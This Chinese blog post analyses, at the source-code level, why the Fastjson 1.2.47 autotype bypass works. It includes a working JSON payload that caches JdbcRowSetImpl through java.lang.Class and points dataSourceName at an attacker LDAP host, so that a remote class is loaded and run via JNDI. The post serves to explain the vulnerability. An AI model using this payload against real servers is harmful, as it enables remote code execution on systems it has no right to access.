hacker远程控制的艺术之fastjson-1.2.47利用原理分析

前言

       Fastjson是咱们中国人发明的一个Java库,来自阿里巴巴的温少,它可以把Java对象转换为Json格式,同时,它也可以把json字符串转换为Java对象。它可以操作任何的Java对象,即便是一些预先存在,但没有源码的对象。正是因为这一点,给了安全界大佬们可乘之机,自1.2.24版本开始,温少就一直和他们不断斡旋,打着回合战。修复一个版本,过没多久又来一个绕过,攻防过程好不精彩。

       截止今天现在2020.11.15 22:30,已经更新到1.2.75版本了,在此版本之前,从1.2.24版本第一个它的反序列化漏洞到1.2.47版本再到1.2.68版本三个经典漏洞,本文从1.2.47版本展开讲解,在hacker远程控制的艺术之fastjson1.2.47漏洞利用(下文简称上文)中,我介绍了如何利用这个漏洞实现远程连接,本文就不过多赘述,着重讲解为什么能这样利用,从源码的角度进行剖析此洞的利用原理。

正文

       Fastjson通过parse、parseObject处理以json结构传入的类的字符串形时,会默认调用该类的共有setter与构造函数,并在合适的触发条件下调用该类的getter方法。当传入的类中setter、getter方法中存在利用点时,攻击者就可以通过传入可控的类的成员变量进行攻击利用。com.sun.rowset.JdbcRowSetImpl这条利用链用到的是类中setter方法的缺陷,而TemplatesImpl利用链则用到的是getter方法缺陷(此处引用天融信对fastjson的研究)。用通俗的语言解释就是,fastjson在反序列化的时候,可以通过某种方式设置调用类的传入参数来实现直接/间接的调用攻击类。

payload如下:

{
    "a": {          
           "@type": "java.lang.Class",
           "val": "com.sun.rowset.JdbcRowSetImpl"
        },
    "b": {
           "@type": "com.sun.rowset.JdbcRowSetImpl",
           "dataSourceName": "ldap://192.168.186.9:9999/#TouchFile1",
           "autoCommit": true
        }
}

       整体利用的过程是首先反序列化第一个json对象a,通过java.lang.class类(此类并不在1.2.47版本的黑名单里面)所以可以跳过,将com.sun.rowset.JdbcRowSetImpl类加载到mapping缓存,因为在fastjson的机制里,如果遇到没有加载到缓存里的类,在执行checkautotype方法的时候,会抛出异常并终止运行,如此一来便可以绕过autotype。

       之前我一直有个疑惑,是不是关闭autotype后,@type就不能使用了,直到我看到了源码,才发现我错了,json文件从parser方法传入(具体中间如何走的我就不具体分析了,有兴趣的话可以看看源码),通过DEFAULT_TYPE_KEY获取传入的@typy的值,如下图.

之后会调用checkAutoType方法

       下面我们来看下这个checkAutoType方法,分autoTypeSupport开启和关闭两种情况,下图为第一种情况

       在开启时,先将传入的类名hash化,然后和白名单的hash对比,如果有存在,就通过loadclass类加载这个传入的类即java.lang.class,并返回这个传入的类即java.lang.class。如果不在白名单里面,就来到第二个判断,如果在黑名单里面,同时不在白名单里面,那么就返回“autoType is not support java.lang.class”,那么此时问题来了,那如果不在黑名单里面呢?就会继续跳过上面两个判断,就成功的绕过了checkautotype的检测,并加载java.lang.class。我个人理解在开启的时候是黑名单模式,如果在黑名单就报错。

       在关闭时,上边的判断条件返回null,直接进入getClassFromMapping方法,去map里面查找是否有java.lang.class,如果没有,进入到下一个deserializers方法进行查找如果还没有,就抛出异常了。

       可以看到mapping是由存放在fastjson-1.2.47/src/main/java/com/alibaba/fastjson/util/TypeUtils.java中addBaseClassMappings()这个方法方法去添加的,从名字来看,mappings就是一个预先加载的基础类,显然这里面并没有java.lang.class,所以进入到下一个if判断条件中,调用deserializers.findClass查找java.lang.class,

下图为findclass方法

       从源码来看,就是在buckets里面查找key值是否存在java.lang.class,如果有,就返回这个calssname,那么问题又来了,啥是buckets呢?我从源码里翻到了下面这一串,我个人猜测就是一个IdentityHashMap。

       问题到这里还不是很清楚,那么究竟这个buckets里面有没有java.lang.class呢?答案是有的,通过构造一个请求,经debug,发现在这个里面找到了,如下图,

       checkautotype讲java.lang.class返回给clazz之后,便会把值传到fastjson-1.2.47/src/main/java/com/alibaba/fastjson/serializer/MiscCodec.java中deserialze()这个方法中,如下图

       deserialze()这个方法会做三个处理,

       首先,判断jason字串中是否有’val’,如果有,就取出来传给objVal变量;

if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
            parser.resolveStatus = DefaultJSONParser.NONE;
            parser.accept(JSONToken.COMMA);

            if (lexer.token() == JSONToken.LITERAL_STRING) {
                if (!"val".equals(lexer.stringVal())) {
                    throw new JSONException("syntax error");
                }
                lexer.nextToken();
            } else {
                throw new JSONException("syntax error");
            }

            parser.accept(JSONToken.COLON);

            objVal = parser.parse();

            parser.accept(JSONToken.RBRACE);
        } else {
            objVal = parser.parse();
        }

       然后,再传给strVal;

if (objVal == null) {
            strVal = null;
        } else if (objVal instanceof String) {
            strVal = (String) objVal;

       最后,调用TypeUtils.loadClass处理strVal值,精彩的地方来了,显然可以看到会调用TypeUtils.loadClass处理,紧接着当然是加载进mappings。(这整个源码见fastjson-1.2.24/fastjson-1.2.24/src/main/java/com/alibaba/fastjson/serializer/MiscCodec.java文件下的deserialze()方法的定义,这里我只将几个关键点截了出来。)换句话说就是,如果这个val值是class,那么就将其加载进mappings,回过头看下我们制造的poc,第一段json中的val值是com.sun.rowset.JdbcRowSetImpl,这个值是早在之前的版本已经被加入黑名单了,而经过上边这么一番斗转星移,又把它加载进了,俨然一副重获新生的面貌,

if (clazz == Class.class) {
            return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
        }

       说到这里,精彩的绕过部分已经讲解完毕,接下来就是反序列化第二个json,这里我再单独贴一下, 和第一部分一样的反序列化过程,这里就会用到com.sun.rowset.JdbcRowSetImpl利用链(下文简称利用链)它的特性了。

"b": {
           "@type": "com.sun.rowset.JdbcRowSetImpl",
           "dataSourceName": "ldap://172.28.186.9:9999/#TouchFile1",
           "autoCommit": true
      }

       啥是com.sun.rowset.JdbcRowSetImpl利用链呢?这里我不展开讲,有空会单独再出一篇相关的文章。利用链会通过setAutoCommit()方法来调用lookup()方法的函数,而lookup()的参数是通过getDataSourceName()方法获取,这么一来,是不是就明白上面这个json对象这么写的原因了吧。那么还有一个疑惑,我要如何调用远程的恶意攻击类呢?我们知道有个一叫RMI的东西,全称为远程方法调用,这个是java的一个调用机制,它有一个reference的功能,ldap也同样有这个功能,可以让远程调用对象获取rmi/ldap服务器上的引用对象,指定远程地址和需要调取的类,就可以被调用了。

回到正题,调用了这个恶意类,就可以通过jndi server下载远程类,并执行远程类,这里有个小小的点需要注意,通过jndi执行需要在java 8u191之前的版本环境下,否则也是无法实现的。

总结

       一句话总结一下,通过不在黑名单,也不在白名单,但存在基础缓存里面的java.lang.class这个类,绕过autotype的安全机制,从而将已经在黑名单的com.sun.rowset.JdbcRowSetImpl类加载到缓存类中,实现远程调用恶意类进行攻击。

       fastjson1.2.47的利用原理比之前复杂了太多,绕过的精髓点从源码层面看是比较清晰明了,但是整个过程还是非常精彩的,后续还有1.2.68版本据说已经被攻破,但是目前公网上还并没有暴露poc,接下来将会继续研究,期待新版本的利用过程,应该也同样精彩吧~

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

hobby云说

你的鼓励将是我最大的动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值